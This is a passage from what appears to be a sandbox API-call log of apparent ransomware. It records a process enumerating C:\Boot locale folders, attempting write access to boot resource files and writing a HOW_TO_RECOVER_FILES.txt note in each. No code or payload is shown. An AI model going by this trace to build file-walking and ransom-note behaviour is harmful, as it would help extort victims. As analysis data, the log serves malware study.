SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.837] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3414940 | out: lpFileInformation=0x3414940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160)) returned 1 [0070.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.838] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.838] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.840] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.840] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3414ff0 | out: lpFileInformation=0x3414ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0070.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.840] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.840] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.842] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.842] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0071.087] GetFileType (hFile=0x760) returned 0x1 [0071.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.088] GetFileType (hFile=0x760) returned 0x1 [0071.088] WriteFile (in: hFile=0x760, lpBuffer=0x353e600*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x353e600*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.089] CloseHandle (hObject=0x760) returned 1 [0071.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.090] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0071.090] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.090] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.091] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.091] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.091] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.091] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.091] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x0) returned 0xd [0071.091] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.091] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.092] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.092] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.092] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.092] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.092] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.092] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x354d258 | out: lpFileInformation=0x354d258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58)) returned 1 [0071.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.092] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.093] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.096] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.096] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x354d908 | out: lpFileInformation=0x354d908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1 [0071.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.097] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.097] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.099] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0071.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.099] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0071.101] GetFileType (hFile=0x760) returned 0x1 [0071.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.101] GetFileType (hFile=0x760) returned 0x1 [0071.101] WriteFile (in: hFile=0x760, lpBuffer=0x3550308*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3550308*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.102] CloseHandle (hObject=0x760) returned 1 [0071.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.103] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0071.103] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.103] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.103] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.103] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.103] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.103] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.104] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0071.104] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.104] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.104] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.104] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.104] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.105] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.105] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.105] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x355ef60 | out: lpFileInformation=0x355ef60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1 [0071.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.105] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0071.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.105] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.107] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.107] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x355f610 | out: lpFileInformation=0x355f610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0071.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.108] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0071.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.108] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.110] GetFullPathNameW (in: 